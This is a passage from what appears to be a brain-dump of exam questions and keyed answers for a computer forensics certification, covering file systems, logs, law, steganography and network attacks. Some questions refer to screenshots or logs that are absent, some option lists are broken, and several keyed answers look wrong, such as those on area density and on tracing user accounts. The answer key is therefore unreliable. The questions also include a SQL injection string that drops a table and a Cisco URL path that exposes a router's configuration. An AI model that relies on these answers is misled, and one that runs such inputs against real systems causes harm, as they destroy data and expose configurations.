- (Exam Topic 2)

Wireless access control attacks aim to penetrate a network by evading WLAN access control measures such as AP MAC filters and Wi-Fi port access controls. Which of the following wireless access control attacks allow the attacker to set up a rogue access point outside the corporate perimeter and then lure the employees of the organization to connect to it?

- A. Ad hoc associations
- B. Client mis-association
- C. MAC spoofing
- D. Rogue access points

**Answer:** B

#### NEW QUESTION 291

- (Exam Topic 2)

What must an investigator do before disconnecting an iPod from any type of computer?

- A. Unmount the iPod
- B. Mount the iPod
- C. Disjoin the iPod
- D. Join the iPod

**Answer:** A

#### NEW QUESTION 292

- (Exam Topic 2)

Which of the following commands shows you the names of all open shared files on a server and the number of file locks on each file?

- A. Net config
- B. Net file
- C. Net share
- D. Net sessions

**Answer:** B

#### NEW QUESTION 297

- (Exam Topic 2)

Which of the following files DOES NOT use Object Linking and Embedding (OLE) technology to embed and link to other objects?

- A. Portable Document Format
- B. MS-office Word Document
- C. MS-office Word OneNote
- D. MS-office Word PowerPoint

**Answer:** A

#### NEW QUESTION 300

- (Exam Topic 2)

An executive has leaked the company trade secrets through an external drive. What process should the investigation team take if they could retrieve his system?

- A. Postmortem Analysis
- B. Real-Time Analysis
- C. Packet Analysis
- D. Malware Analysis

**Answer:** A

#### NEW QUESTION 301

- (Exam Topic 2)

When operating systems mark a cluster as used but not allocated, the cluster is considered as \_\_\_\_\_

- A. Corrupt
- B. Bad
- C. Lost
- D. Unallocated

**Answer:** C

#### NEW QUESTION 305

- (Exam Topic 2)

Which of the following refers to the process of the witness being questioned by the attorney who called the latter to the stand?

- A. Witness Authentication
- B. Direct Examination
- C. Expert Witness
- D. Cross Questioning

**Answer:** B

#### NEW QUESTION 306

- (Exam Topic 2)

The following is a log file screenshot from a default installation of IIS 6.0.

What time standard is used by IIS as seen in the screenshot?

- A. UTC
- B. GMT
- C. TAI
- D. UT

**Answer:** A

#### NEW QUESTION 310

- (Exam Topic 2)

Casey has acquired data from a hard disk in an open source acquisition format that allows her to generate compressed or uncompressed image files. What format did she use?

- A. Portable Document Format
- B. Advanced Forensics Format (AFF)
- C. Proprietary Format
- D. Raw Format

**Answer:** B

#### NEW QUESTION 315

- (Exam Topic 2)

Using Internet logging software to investigate a case of malicious use of computers, the investigator comes across some entries that appear odd.

From the log, the investigator can see where the person in question went on the Internet. From the log, it appears that the user was manually typing in different user ID numbers. What technique this user was trying?

- A. Parameter tampering
- B. Cross site scripting
- C. SQL injection
- D. Cookie Poisoning

**Answer:** A

#### NEW QUESTION 320

- (Exam Topic 2)

What must be obtained before an investigation is carried out at a location?

- A. Search warrant
- B. Subpoena
- C. Habeas corpus
- D. Modus operandi

**Answer:** A

#### NEW QUESTION 323

- (Exam Topic 2)

When investigating a wireless attack, what information can be obtained from the DHCP logs?

- A. The operating system of the attacker and victim computers
- B. IP traffic between the attacker and the victim

- C. MAC address of the attacker
- D. If any computers on the network are running in promiscuous mode

**Answer:** C

#### NEW QUESTION 324

- (Exam Topic 2)

What type of attack sends SYN requests to a target system with spoofed IP addresses?

- A. SYN flood
- B. Ping of death
- C. Cross site scripting
- D. Land

**Answer:** A

#### NEW QUESTION 329

- (Exam Topic 2)

Which of the following files stores information about local Dropbox installation and account, email IDs linked with the account, current version/build for the local application, the host\_id, and local path information?

- A. host.db
- B. sigstore.db
- C. config.db
- D. filecache.db

**Answer:** C

#### NEW QUESTION 332

- (Exam Topic 2)

What is the location of the binary files required for the functioning of the OS in a Linux system?

- A. /run
- B. /bin
- C. /root
- D. /sbin

**Answer:** B

#### NEW QUESTION 333

- (Exam Topic 2)

The process of restarting a computer that is already turned on through the operating system is called?

- A. Warm boot
- B. Ice boot
- C. Hot Boot
- D. Cold boot

**Answer:** A

#### NEW QUESTION 335

- (Exam Topic 2)

What does the part of the log, "% SEC-6-IPACCESSLOGP", extracted from a Cisco router represent?

- A. The system was not able to process the packet because there was not enough room for all of the desired IP header options
- B. Immediate action required messages
- C. Some packet-matching logs were missed because the access list log messages were rate limited, or no access list log buffers were available
- D. A packet matching the log criteria for the given access list has been detected (TCP or UDP)

**Answer:** D

#### NEW QUESTION 338

- (Exam Topic 2)

In the following directory listing,

Which file should be used to restore archived email messages for someone using Microsoft Outlook?

- A. Outlook bak
- B. Outlook ost
- C. Outlook NK2
- D. Outlook pst

**Answer:** D

#### NEW QUESTION 339

- (Exam Topic 2)

In Windows Security Event Log, what does an event id of 530 imply?

- A. Logon Failure – Unknown user name or bad password
- B. Logon Failure – User not allowed to logon at this computer
- C. Logon Failure – Account logon time restriction violation
- D. Logon Failure – Account currently disabled

**Answer:** C

#### NEW QUESTION 344

- (Exam Topic 2)

How will you categorize a cybercrime that took place within a CSP's cloud environment?

- A. Cloud as a Subject
- B. Cloud as a Tool
- C. Cloud as an Audit
- D. Cloud as an Object

**Answer:** D

#### NEW QUESTION 346

- (Exam Topic 2)

An expert witness is a \_\_\_\_\_ who is normally appointed by a party to assist the formulation and preparation of a party's claim or defense.

- A. Expert in criminal investigation
- B. Subject matter specialist
- C. Witness present at the crime scene
- D. Expert law graduate appointed by attorney

**Answer:** B

#### NEW QUESTION 349

- (Exam Topic 2)

Which among the following files provides email header information in the Microsoft Exchange server?

- A. gwcheck.db
- B. PRIV.EDB
- C. PUB.EDB
- D. PRIV.STM

**Answer:** B

#### NEW QUESTION 353

- (Exam Topic 2)

Adam, a forensic investigator, is investigating an attack on Microsoft Exchange Server of a large organization. As the first step of the investigation, he examined the PRIV.EDB file and found the source from where the mail originated and the name of the file that disappeared upon execution. Now, he wants to examine the MIME stream content. Which of the following files is he going to examine?

- A. PRIV.STM
- B. gwcheck.db
- C. PRIV.EDB
- D. PUB.EDB

**Answer:** A

#### NEW QUESTION 354

- (Exam Topic 2)

Which network attack is described by the following statement?

“At least five Russian major banks came under a continuous hacker attack, although online client services were not disrupted. The attack came from a wide-scale botnet involving at least 24,000 computers, located in 30 countries.”

- A. DDoS
- B. Sniffer Attack
- C. Buffer Overflow
- D. Man-in-the-Middle Attack

**Answer:** A

#### NEW QUESTION 357

- (Exam Topic 2)

What is the slave device connected to the secondary IDE controller on a Linux OS referred to?

- A. hda
- B. hdd
- C. hdb
- D. hdc

**Answer:** B

**NEW QUESTION 360**

- (Exam Topic 2)

How many possible sequence number combinations are there in TCP/IP protocol?

- A. 1 billion
- B. 320 billion
- C. 4 billion
- D. 32 million

**Answer:** C

**NEW QUESTION 363**

- (Exam Topic 2)

What is one method of bypassing a system BIOS password?

- A. Removing the processor
- B. Removing the CMOS battery
- C. Remove all the system memory
- D. Login to Windows and disable the BIOS password

**Answer:** B

**NEW QUESTION 364**

- (Exam Topic 2)

Davidson Trucking is a small transportation company that has three local offices in Detroit Michigan. Ten female employees that work for the company have gone to an attorney reporting that male employees repeatedly harassed them and that management did nothing to stop the problem. Davidson has employee policies that outline all company guidelines, including awareness on harassment and how it will not be tolerated. When the case is brought to court, whom should the prosecuting attorney call upon for not upholding company policy?

- A. IT personnel
- B. Employees themselves
- C. Supervisors
- D. Administrative assistant in charge of writing policies

**Answer:** C

**NEW QUESTION 366**

- (Exam Topic 2)

Where is the startup configuration located on a router?

- A. Static RAM
- B. BootROM
- C. NVRAM
- D. Dynamic RAM

**Answer:** C

**NEW QUESTION 370**

- (Exam Topic 2)

To check for POP3 traffic using Ethereal, what port should an investigator search by?

- A. 143
- B. 25
- C. 110
- D. 125

**Answer:** C

**NEW QUESTION 375**

- (Exam Topic 2)

Which among the following is an act passed by the U.S. Congress in 2002 to protect investors from the possibility of fraudulent accounting activities by corporations?

- A. HIPAA
- B. GLBA
- C. SOX
- D. FISMA

**Answer:** C

**NEW QUESTION 378**

- (Exam Topic 2)

Which network attack is described by the following statement? "At least five Russian major banks came under a continuous hacker attack, although online client



services were not disrupted. The attack came from a wide-scale botnet involving at least 24,000 computers, located in 30 countries."

- A. Man-in-the-Middle Attack
- B. Sniffer Attack
- C. Buffer Overflow
- D. DDoS

**Answer:** D

#### NEW QUESTION 383

- (Exam Topic 2)

While looking through the IIS log file of a web server, you find the following entries:

What is evident from this log file?

- A. Web bugs
- B. Cross site scripting
- C. Hidden fields
- D. SQL injection is possible

**Answer:** D

#### NEW QUESTION 387

- (Exam Topic 2)

What is the primary function of the tool CHKDSK in Windows that authenticates the file system reliability of a volume?

- A. Repairs logical file system errors
- B. Check the disk for hardware errors
- C. Check the disk for connectivity errors
- D. Check the disk for Slack Space

**Answer:** A

#### NEW QUESTION 392

- (Exam Topic 2)

Which of the following data structures stores attributes of a process, as well as pointers to other attributes and data structures?

- A. Lsproc
- B. DumpChk
- C. RegEdit
- D. EProcess

**Answer:** D

#### NEW QUESTION 395

- (Exam Topic 2)

Which of the following tool captures and allows you to interactively browse the traffic on a network?

- A. Security Task Manager
- B. Wireshark
- C. ThumbsDisplay
- D. RegScanner

**Answer:** B

#### NEW QUESTION 398

- (Exam Topic 2)

A small law firm located in the Midwest has possibly been breached by a computer hacker looking to obtain information on their clientele. The law firm does not have any on-site IT employees, but wants to search for evidence of the breach themselves to prevent any possible media attention. Why would this not be recommended?

- A. Searching for evidence themselves would not have any ill effects
- B. Searching could possibly crash the machine or device
- C. Searching creates cache files, which would hinder the investigation
- D. Searching can change date/time stamps

**Answer:** D

#### NEW QUESTION 401

- (Exam Topic 2)

When needing to search for a website that is no longer present on the Internet today but was online few years back, what site can be used to view the website collection of pages?



- A. Proxify.net
- B. Dnsstuff.com
- C. Samspace.org
- D. Archive.org

**Answer:** D

#### NEW QUESTION 405

- (Exam Topic 2)

Harold is a computer forensics investigator working for a consulting firm out of Atlanta Georgia. Harold is called upon to help with a corporate espionage case in Miami Florida. Harold assists in the investigation by pulling all the data from the computers allegedly used in the illegal activities. He finds that two suspects in the company were stealing sensitive corporate information and selling it to competing companies. From the email and instant messenger logs recovered, Harold has discovered that the two employees notified the buyers by writing symbols on the back of specific stop signs. This way, the buyers knew when and where to meet with the alleged suspects to buy the stolen material. What type of steganography did these two suspects use?

- A. Text semagram
- B. Visual semagram
- C. Grill cipher
- D. Visual cipher

**Answer:** B

#### NEW QUESTION 408

- (Exam Topic 2)

To which phase of the Computer Forensics Investigation Process does the Planning and Budgeting of a Forensics Lab belong?

- A. Post-investigation Phase
- B. Reporting Phase
- C. Pre-investigation Phase
- D. Investigation Phase

**Answer:** C

#### NEW QUESTION 411

- (Exam Topic 2)

Annie is searching for certain deleted files on a system running Windows XP OS. Where will she find the files if they were not completely deleted from the system?

- A. C: \$Recycled.Bin
- B. C: \ \$Recycle.Bin
- C. C:\RECYCLER
- D. C:\\$RECYCLER

**Answer:** B

#### NEW QUESTION 414

- (Exam Topic 2)

John is working on his company policies and guidelines. The section he is currently working on covers company documents; how they should be handled, stored, and eventually destroyed. John is concerned about the process whereby outdated documents are destroyed. What type of shredder should John write in the guidelines to be used when destroying documents?

- A. Strip-cut shredder
- B. Cross-cut shredder
- C. Cross-hatch shredder
- D. Cris-cross shredder

**Answer:** B

#### NEW QUESTION 415

- (Exam Topic 2)

What is the smallest physical storage unit on a hard drive?

- A. Track
- B. Cluster
- C. Sector
- D. Platter

**Answer:** C

#### NEW QUESTION 420

- (Exam Topic 2)

Why would a company issue a dongle with the software they sell?

- A. To provide source code protection
- B. To provide wireless functionality with the software
- C. To provide copyright protection
- D. To ensure that keyloggers cannot be used

**Answer:** C

**NEW QUESTION 423**

- (Exam Topic 2)

Heather, a computer forensics investigator, is assisting a group of investigators working on a large computer fraud case involving over 20 people. These 20 people, working in different offices, allegedly siphoned off money from many different client accounts. Heather responsibility is to find out how the accused people communicated between each other. She has searched their email and their computers and has not found any useful evidence. Heather then finds some possibly useful evidence under the desk of one of the accused.

In an envelope she finds a piece of plastic with numerous holes cut out of it. Heather then finds the same exact piece of plastic with holes at many of the other accused peoples desks. Heather believes that the 20 people involved in the case were using a cipher to send secret messages in between each other. What type of cipher was used by the accused in this case?

- A. Grill cipher
- B. Null cipher
- C. Text semagram
- D. Visual semagram

**Answer:** A

**NEW QUESTION 424**

- (Exam Topic 2)

How often must a company keep log files for them to be admissible in a court of law?

- A. All log files are admissible in court no matter their frequency
- B. Weekly
- C. Monthly
- D. Continuously

**Answer:** D

**NEW QUESTION 427**

- (Exam Topic 2)

When searching through file headers for picture file formats, what should be searched to find a JPEG file in hexadecimal format?

- A. FF D8 FF E0 00 10
- B. FF FF FF FF FF FF
- C. FF 00 FF 00 FF 00
- D. EF 00 EF 00 EF 00

**Answer:** A

**NEW QUESTION 429**

- (Exam Topic 2)

An on-site incident response team is called to investigate an alleged case of computer tampering within their company. Before proceeding with the investigation, the CEO informs them that the incident will be classified as low level. How long will the team have to respond to the incident?

- A. One working day
- B. Two working days
- C. Immediately
- D. Four hours

**Answer:** A

**NEW QUESTION 430**

- (Exam Topic 2)

What technique is used by JPEGs for compression?

- A. ZIP
- B. TCD
- C. DCT
- D. TIFF-8

**Answer:** C

**NEW QUESTION 431**

- (Exam Topic 2)

This type of testimony is presented by someone who does the actual fieldwork and does not offer a view in court.

- A. Civil litigation testimony
- B. Expert testimony
- C. Victim advocate testimony
- D. Technical testimony

**Answer:** D

**NEW QUESTION 435**

- (Exam Topic 2)

Which forensic investigating concept trails the whole incident from how the attack began to how the victim was affected?

- A. Point-to-point
- B. End-to-end
- C. Thorough
- D. Complete event analysis

**Answer:** B

#### NEW QUESTION 436

- (Exam Topic 2)

Shane has started the static analysis of a malware and is using the tool ResourcesExtract to find more details of the malicious program. What part of the analysis is he performing?

- A. Identifying File Dependencies
- B. Strings search
- C. Dynamic analysis
- D. File obfuscation

**Answer:** B

#### NEW QUESTION 437

- (Exam Topic 2)

Daryl, a computer forensics investigator, has just arrived at the house of an alleged computer hacker. Daryl takes pictures and tags all computer and peripheral equipment found in the house. Daryl packs all the items found in his van and takes them back to his lab for further examination. At his lab, Michael his assistant helps him with the investigation. Since Michael is still in training, Daryl supervises all of his work very carefully. Michael is not quite sure about the procedures to copy all the data off the computer and peripheral devices. How many data acquisition tools should Michael use when creating copies of the evidence for the investigation?

- A. Two
- B. One
- C. Three
- D. Four

**Answer:** A

#### NEW QUESTION 440

- (Exam Topic 2)

Jacky encrypts her documents using a password. It is known that she uses her daughter's year of birth as part of the password. Which password cracking technique would be optimal to crack her password?

- A. Rule-based attack
- B. Brute force attack
- C. Syllable attack
- D. Hybrid attack

**Answer:** A

#### NEW QUESTION 444

- (Exam Topic 2)

NTFS has reduced slack space than FAT, thus having lesser potential to hide data in the slack space. This is because:

- A. FAT does not index files
- B. NTFS is a journaling file system
- C. NTFS has lower cluster size space
- D. FAT is an older and inefficient file system

**Answer:** C

#### NEW QUESTION 445

- (Exam Topic 2)

What layer of the OSI model do TCP and UDP utilize?

- A. Data Link
- B. Network
- C. Transport
- D. Session

**Answer:** C

#### NEW QUESTION 450

- (Exam Topic 2)

Which of the following is a list of recently used programs or opened files?

- A. Most Recently Used (MRU)
- B. Recently Used Programs (RUP)

- C. Master File Table (MFT)
- D. GUID Partition Table (GPT)

**Answer:** A

#### NEW QUESTION 452

- (Exam Topic 2)

In handling computer-related incidents, which IT role should be responsible for recovery, containment, and prevention to constituents?

- A. Security Administrator
- B. Network Administrator
- C. Director of Information Technology
- D. Director of Administration

**Answer:** B

#### NEW QUESTION 455

- (Exam Topic 2)

What type of attack sends spoofed UDP packets (instead of ping packets) with a fake source address to the IP broadcast address of a large network?

- A. Fraggle
- B. Smurf scan
- C. SYN flood
- D. Teardrop

**Answer:** A

#### NEW QUESTION 457

- (Exam Topic 2)

Which of the following Registry components include offsets to other cells as well as the LastWrite time for the key?

- A. Value list cell
- B. Value cell
- C. Key cell
- D. Security descriptor cell

**Answer:** C

#### NEW QUESTION 462

- (Exam Topic 2)

Which of the following techniques can be used to beat steganography?

- A. Encryption
- B. Steganalysis
- C. Decryption
- D. Cryptanalysis

**Answer:** B

#### NEW QUESTION 466

- (Exam Topic 2)

An investigator is searching through the firewall logs of a company and notices ICMP packets that are larger than 65,536 bytes. What type of activity is the investigator seeing?

- A. Smurf
- B. Ping of death
- C. Fraggle
- D. Nmap scan

**Answer:** B

#### NEW QUESTION 467

- (Exam Topic 2)

Linux operating system has two types of typical bootloaders namely LILO (Linux Loader) and GRUB (Grand Unified Bootloader). In which stage of the booting process do the bootloaders become active?

- A. Bootloader Stage
- B. Kernel Stage
- C. BootROM Stage
- D. BIOS Stage

**Answer:** A

#### NEW QUESTION 471

- (Exam Topic 2)

What stage of the incident handling process involves reporting events?

- A. Containment
- B. Follow-up
- C. Identification
- D. Recovery

**Answer:** C

#### NEW QUESTION 475

- (Exam Topic 2)

Smith, as a part his forensic investigation assignment, seized a mobile device. He was asked to recover the Subscriber Identity Module (SIM card) data in the mobile device. Smith found that the SIM was protected by a Personal Identification Number (PIN) code, but he was also aware that people generally leave the PIN numbers to the defaults or use easily guessable numbers such as 1234. He made three unsuccessful attempts, which blocked the SIM card. What can Jason do in this scenario to reset the PIN and access SIM data?

- A. He should contact the network operator for a Temporary Unlock Code (TUK)
- B. Use system and hardware tools to gain access
- C. He can attempt PIN guesses after 24 hours
- D. He should contact the network operator for Personal Unlock Number (PUK)

**Answer:** D

#### NEW QUESTION 477

- (Exam Topic 2)

Files stored in the Recycle Bin in its physical location are renamed as Dxy.ext, where “x” represents the \_\_\_\_\_.

- A. Drive name
- B. Original file name's extension
- C. Sequential number
- D. Original file name

**Answer:** A

#### NEW QUESTION 480

- (Exam Topic 2)

In a virtual test environment, Michael is testing the strength and security of BGP using multiple routers to mimic the backbone of the Internet. This project will help him write his doctoral thesis on "bringing down the Internet". Without sniffing the traffic between the routers, Michael sends millions of RESET packets to the routers in an attempt to shut one or all of them down. After a few hours, one of the routers finally shuts itself down. What will the other routers communicate between themselves?

- A. The change in the routing fabric to bypass the affected router
- B. More RESET packets to the affected router to get it to power back up
- C. RESTART packets to the affected router to get it to power back up
- D. STOP packets to all other routers warning of where the attack originated

**Answer:** A

#### NEW QUESTION 482

- (Exam Topic 2)

Which of the following is NOT a part of pre-investigation phase?

- A. Building forensics workstation
- B. Gathering information about the incident
- C. Gathering evidence data
- D. Creating an investigation team

**Answer:** C

#### NEW QUESTION 487

- (Exam Topic 2)

Why is it still possible to recover files that have been emptied from the Recycle Bin on a Windows computer?

- A. The data is still present until the original location of the file is used
- B. The data is moved to the Restore directory and is kept there indefinitely
- C. The data will reside in the L2 cache on a Windows computer until it is manually deleted
- D. It is not possible to recover data that has been emptied from the Recycle Bin

**Answer:** A

#### NEW QUESTION 490

- (Exam Topic 2)

Sectors are pie-shaped regions on a hard disk that store data. Which of the following parts of a hard disk do not contribute in determining the addresses of data?

- A. Sectors
- B. Interface
- C. Cylinder

D. Heads

**Answer:** B

**NEW QUESTION 494**

- (Exam Topic 2)

Which US law does the interstate or international transportation and receiving of child pornography fall under?

- A. §18. U.S.
- B. 1466A
- C. §18. U.S.C 252
- D. §18. U.S.C 146A
- E. §18. U.S.C 2252

**Answer:** D

**NEW QUESTION 495**

- (Exam Topic 2)

Which of the following is an iOS Jailbreaking tool?

- A. Kingo Android ROOT
- B. Towelroot
- C. One Click Root
- D. Redsn0w

**Answer:** D

**NEW QUESTION 496**

- (Exam Topic 2)

What type of equipment would a forensics investigator store in a StrongHold bag?

- A. PDAPDA?
- B. Backup tapes
- C. Hard drives
- D. Wireless cards

**Answer:** D

**NEW QUESTION 501**

- (Exam Topic 2)

What hashing method is used to password protect Blackberry devices?

- A. AES
- B. RC5
- C. MD5
- D. SHA-1

**Answer:** D

**NEW QUESTION 505**

- (Exam Topic 2)

Watson, a forensic investigator, is examining a copy of an ISO file stored in CDFS format. What type of evidence is this?

- A. Data from a CD copied using Windows
- B. Data from a CD copied using Mac-based system
- C. Data from a DVD copied using Windows system
- D. Data from a CD copied using Linux system

**Answer:** A

**NEW QUESTION 509**

- (Exam Topic 2)

When investigating a computer forensics case where Microsoft Exchange and Blackberry Enterprise server are used, where would investigator need to search to find email sent from a Blackberry device?

- A. RIM Messaging center
- B. Blackberry Enterprise server
- C. Microsoft Exchange server
- D. Blackberry desktop redirector

**Answer:** C

**NEW QUESTION 513**

- (Exam Topic 2)

Under confession, an accused criminal admitted to encrypting child pornography pictures and then hiding them within other pictures. What technique did the



accused criminal employ?

- A. Typography
- B. Steganalysis
- C. Picture encoding
- D. Steganography

**Answer:** D

#### NEW QUESTION 514

- (Exam Topic 1)

What happens when a file is deleted by a Microsoft operating system using the FAT file system?

- A. only the reference to the file is removed from the FAT
- B. the file is erased and cannot be recovered
- C. a copy of the file is stored and the original file is erased
- D. the file is erased but can be recovered

**Answer:** A

#### NEW QUESTION 518

- (Exam Topic 1)

Why should you note all cable connections for a computer you want to seize as evidence?

- A. to know what outside connections existed
- B. in case other devices were connected
- C. to know what peripheral devices exist
- D. to know what hardware existed

**Answer:** A

#### NEW QUESTION 522

- (Exam Topic 1)

You have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have exhaustively searched all data files on a bitmap image of the target computer, but have found no evidence. You suspect the files may not have been saved. What should you examine next in this case?

- A. The registry
- B. The swap file
- C. The recycle bin
- D. The metadata

**Answer:** B

#### NEW QUESTION 523

- (Exam Topic 1)

Why is it a good idea to perform a penetration test from the inside?

- A. It is never a good idea to perform a penetration test from the inside
- B. Because 70% of attacks are from inside the organization
- C. To attack a network from a hacker's perspective
- D. It is easier to hack from the inside

**Answer:** B

#### NEW QUESTION 526

- (Exam Topic 1)

What information do you need to recover when searching a victim's computer for a crime committed with specific e-mail message?

- A. Internet service provider information
- B. E-mail header
- C. Username and password
- D. Firewall log

**Answer:** B

#### NEW QUESTION 527

- (Exam Topic 1)

What will the following command produce on a website login page? `SELECT email, passwd, login_id, full_name FROM members WHERE email = 'someone@somehwere.com'; DROP TABLE members; --'`

- A. Deletes the entire members table
- B. Inserts the Error! Reference source not found.email address into the members table
- C. Retrieves the password for the first user in the members table
- D. This command will not produce anything since the syntax is incorrect

**Answer:** A

#### NEW QUESTION 531

- (Exam Topic 1)

When examining a hard disk without a write-blocker, you should not start windows because Windows will write data to the:

- A. Recycle Bin
- B. MSDOS.sys
- C. BIOS
- D. Case files

**Answer:** A

#### NEW QUESTION 532

- (Exam Topic 1)

How many bits is Source Port Number in TCP Header packet?

- A. 16
- B. 32
- C. 48
- D. 64

**Answer:** A

#### NEW QUESTION 534

- (Exam Topic 1)

You are a security analyst performing a penetration tests for a company in the Midwest. After some initial reconnaissance, you discover the IP addresses of some Cisco routers used by the company. You type in the following URL that includes the IP address of one of the routers:

`http://172.168.4.131/level/99/exec/show/config`

After typing in this URL, you are presented with the entire configuration file for that router. What have you discovered?

- A. HTTP Configuration Arbitrary Administrative Access Vulnerability
- B. HTML Configuration Arbitrary Administrative Access Vulnerability
- C. Cisco IOS Arbitrary Administrative Access Online Vulnerability
- D. URL Obfuscation Arbitrary Administrative Access Vulnerability

**Answer:** A

#### NEW QUESTION 538

- (Exam Topic 1)

You have completed a forensic investigation case. You would like to destroy the data contained in various disks at the forensics lab due to sensitivity of the case.

How would you permanently erase the data on the hard disk?

- A. Throw the hard disk into the fire
- B. Run the powerful magnets over the hard disk
- C. Format the hard disk multiple times using a low level disk utility
- D. Overwrite the contents of the hard disk with Junk data

**Answer:** A

#### NEW QUESTION 541

- (Exam Topic 1)

In Microsoft file structures, sectors are grouped together to form:

- A. Clusters
- B. Drives
- C. Bitstreams
- D. Partitions

**Answer:** A

#### NEW QUESTION 544

- (Exam Topic 1)

George is a senior security analyst working for a state agency in Florida. His state's congress just passed a bill mandating every state agency to undergo a security audit annually. After learning what will be required, George needs to implement an IDS as soon as possible before the first audit occurs. The state bill requires that an IDS with a "time-based induction machine" be used.

What IDS feature must George implement to meet this requirement?

- A. Signature-based anomaly detection
- B. Pattern matching
- C. Real-time anomaly detection
- D. Statistical-based anomaly detection

**Answer:** C

#### NEW QUESTION 548

- (Exam Topic 1)

When investigating a network that uses DHCP to assign IP addresses, where would you look to determine which system (MAC address) had a specific IP address



at a specific time?

- A. on the individual computer's ARP cache
- B. in the Web Server log files
- C. in the DHCP Server log files
- D. there is no way to determine the specific IP address

**Answer: C**

#### NEW QUESTION 552

- (Exam Topic 1)

Jessica works as systems administrator for a large electronics firm. She wants to scan her network quickly to detect live hosts by using ICMP ECHO Requests. What type of scan is Jessica going to perform?

- A. Tracert
- B. Smurf scan
- C. Ping trace
- D. ICMP ping sweep

**Answer: D**

#### NEW QUESTION 557

- (Exam Topic 1)

During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as:

- A. Inculpatory evidence
- B. Mandatory evidence
- C. Exculpatory evidence
- D. Terrible evidence

**Answer: C**

#### NEW QUESTION 562

- (Exam Topic 1)

When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used?

- A. Passive IDS
- B. Active IDS
- C. Progressive IDS
- D. NIPS

**Answer: B**

#### NEW QUESTION 563

- (Exam Topic 1)

Which of the following is NOT a graphics file?

- A. Picture1.tga
- B. Picture2.bmp
- C. Picture3.nfo
- D. Picture4.psd

**Answer: C**

#### NEW QUESTION 568

- (Exam Topic 1)

From the following spam mail header, identify the host IP that sent this spam? From jie02@netvigator.com jie02@netvigator.com Tue Nov 27 17:27:11 2001  
Received: from viruswall.ie.cuhk.edu.hk (viruswall [137.189.96.52]) by eng.ie.cuhk.edu.hk (8.11.6/8.11.6) with ESMTP id fAR9RAP23061 for ; Tue, 27 Nov 2001 17:27:10 +0800 (HKT)  
Received: from mydomain.com (pcd249020.netvigator.com [203.218.39.20]) by viruswall.ie.cuhk.edu.hk (8.12.1/8.12.1) with SMTP id fAR9QXwZ018431 for ; Tue, 27 Nov 2001 17:26:36 +0800 (HKT)  
Message-Id: >200111270926.fAR9QXwZ018431@viruswall.ie.cuhk.edu.hk From: "china hotel web"  
To: "Shlam"  
Subject: SHANGHAI (HILTON HOTEL) PACKAGE  
Date: Tue, 27 Nov 2001 17:25:58 +0800 MIME-Version: 1.0  
X- Priority: 3 X-MSMail- Priority: Normal  
Reply-To: "china hotel web"

- A. 137.189.96.52
- B. 8.12.1.0
- C. 203.218.39.20
- D. 203.218.39.50

**Answer: C**

#### NEW QUESTION 569

- (Exam Topic 1)

The objective of this act was to protect consumers' personal financial information held by financial institutions and their service providers.

- A. Gramm-Leach-Bliley Act
- B. Sarbanes-Oxley 2002
- C. California SB 1386
- D. HIPAA

**Answer:** A

#### NEW QUESTION 573

- (Exam Topic 1)

When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace. What is the name of the service used to synchronize time among multiple computers?

- A. Universal Time Set
- B. Network Time Protocol
- C. SyncTime Service
- D. Time-Sync Protocol

**Answer:** B

#### NEW QUESTION 578

- (Exam Topic 1)

You are assisting a Department of Defense contract company to become compliant with the stringent security policies set by the DoD. One such strict rule is that firewalls must only allow incoming connections that were first initiated by internal computers. What type of firewall must you implement to abide by this policy?

- A. Packet filtering firewall
- B. Circuit-level proxy firewall
- C. Application-level proxy firewall
- D. Stateful firewall

**Answer:** D

#### NEW QUESTION 581

- (Exam Topic 1)

Area density refers to:

- A. the amount of data per disk
- B. the amount of data per partition
- C. the amount of data per square inch
- D. the amount of data per platter

**Answer:** A

#### NEW QUESTION 584

- (Exam Topic 1)

Office documents (Word, Excel, PowerPoint) contain a code that allows tracking the MAC, or unique identifier, of the machine that created the document. What is that code called?

- A. the Microsoft Virtual Machine Identifier
- B. the Personal Application Protocol
- C. the Globally Unique ID
- D. the Individual ASCII String

**Answer:** C

#### NEW QUESTION 587

- (Exam Topic 1)

What is kept in the following directory? HKLM\SECURITY\Policy\Secrets

- A. Cached password hashes for the past 20 users
- B. Service account passwords in plain text
- C. IAS account names and passwords
- D. Local store PKI Kerberos certificates

**Answer:** B

#### NEW QUESTION 591

- (Exam Topic 1)

Which federal computer crime law specifically refers to fraud and related activity in connection with access devices like routers?

- A. 18 U.S.
- B. 1029
- C. 18 U.S.
- D. 1362

- E. 18 U.S.
- F. 2511
- G. 18 U.S.
- H. 2703

**Answer:** A

#### NEW QUESTION 593

- (Exam Topic 1)

What method of computer forensics will allow you to trace all ever-established user accounts on a Windows 2000 sever the course of its lifetime?

- A. forensic duplication of hard drive
- B. analysis of volatile data
- C. comparison of MD5 checksums
- D. review of SIDs in the Registry

**Answer:** C

#### NEW QUESTION 596

- (Exam Topic 1)

Which legal document allows law enforcement to search an office, place of business, or other locale for evidence relating to an alleged crime?

- A. bench warrant
- B. wire tap
- C. subpoena
- D. search warrant

**Answer:** D

#### NEW QUESTION 597

- (Exam Topic 1)

When investigating a Windows System, it is important to view the contents of the page or swap file because:

- A. Windows stores all of the systems configuration information in this file
- B. This is file that windows use to communicate directly with Registry
- C. A Large volume of data can exist within the swap file of which the computer user has no knowledge
- D. This is the file that windows use to store the history of the last 100 commands that were run from the command line

**Answer:** C

#### NEW QUESTION 598

- (Exam Topic 1)

What operating system would respond to the following command?

- A. Windows 95
- B. FreeBSD
- C. Windows XP
- D. Mac OS X

**Answer:** B

#### NEW QUESTION 603

- (Exam Topic 1)

To preserve digital evidence, an investigator should \_\_\_\_\_.

- A. Make two copies of each evidence item using a single imaging tool
- B. Make a single copy of each evidence item using an approved imaging tool
- C. Make two copies of each evidence item using different imaging tools
- D. Only store the original evidence item

**Answer:** C

#### NEW QUESTION 605

- (Exam Topic 1)

